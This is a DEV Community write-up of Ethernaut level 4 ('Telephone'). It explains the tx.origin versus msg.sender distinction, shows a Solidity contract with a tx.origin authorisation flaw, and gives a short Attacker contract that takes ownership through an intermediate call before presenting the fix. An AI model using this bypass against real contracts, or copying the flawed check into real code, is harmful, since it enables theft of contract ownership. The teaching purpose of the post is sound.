DEV Community

Cover image for Ethernaut - Lvl 4: Telephone
pacelliv
pacelliv

Posted on • Edited on

Ethernaut - Lvl 4: Telephone

Requirement: understand the difference between msg.sender and tx.origin.

The challenge ๐Ÿšฃโ€โ™€๏ธ๐Ÿšฃ

Claim ownership of the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Contract overview ๐Ÿ”Ž

Telephone.sol is a basic contract, at creation time the constructor sets the owner as the deployer of the contract.

The contract has a changeOwner function that takes address owner as a parameter to set a new owner of the contract.

To prevent unauthorized accounts from transfering the ownership of the contract, the following safeguard is implemented to protect the function:

if (tx.origin != msg.sender) {
  owner = _owner;
}
Enter fullscreen mode Exit fullscreen mode

This is done to ensure only the owner can transfer ownership.

If we try to call changeOwner with our address, this transaction will not revert but the owner of the contract will remain the same because tx.origin and msg.sender are both our address.

Who are tx.origin and msg.sender? ๐Ÿ“žโ˜Ž๏ธ

tx.origin and msg.sender are built-in global variables from the language.

These variables can de defined as such:

  • tx.origin: is the address of the Externally Owned Account (EOA) that originally sent the transaction. It can only be an account that know its private key.
  • msg.sender: is the direct sender of the message, it can be an EOA or a contract.

Let's review the following basic call chain:

EOA ---> contract A ---> contract B

In this transaction an EOA initiated a transaction to call a function in A that calls a function in B.

Therefore:

  • In A: tx.origin == msg.sender == EOA.
  • In B: tx.origin == EOA but msg.sender == contract A.

Claiming ownership of Telephone.sol ๐Ÿ‘ธ๐Ÿคด

After my brief explanation we can see that all we need to bypass the safeguard is an intermediate contract to call changeOwner.

Go to Remix and create a file with the following code:

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract Attacker {
    function attack(address _victim) external {
        ITelephone(_victim).changeOwner(msg.sender);
    }
}
Enter fullscreen mode Exit fullscreen mode

Attacker has a single attack function that calls the changeOwner function from Telephone with our address passed as msg.sender.

Ok, let's do this -- get a new instance of Telephone from the game contract and grab the address.

Deploy Attacker and call attack with the address of Telephone as the parameter.

After the transaction is mined, in your developer tools check who owns the contract:

await contract.owner() // it should return your address
Enter fullscreen mode Exit fullscreen mode

Conclusion โญ๏ธ

Using tx.origin for authorization proved to be a poor defense mechanism, it only takes a intermediate contract to bypass it. A better solution would've been checking msg.sender against the owner of the contract, making sure only the owner can set a new owner:

if (owner == msg.sender) {
  owner = _owner;
}
Enter fullscreen mode Exit fullscreen mode

Further reading ๐Ÿ“•๐Ÿ“—

Top comments (0)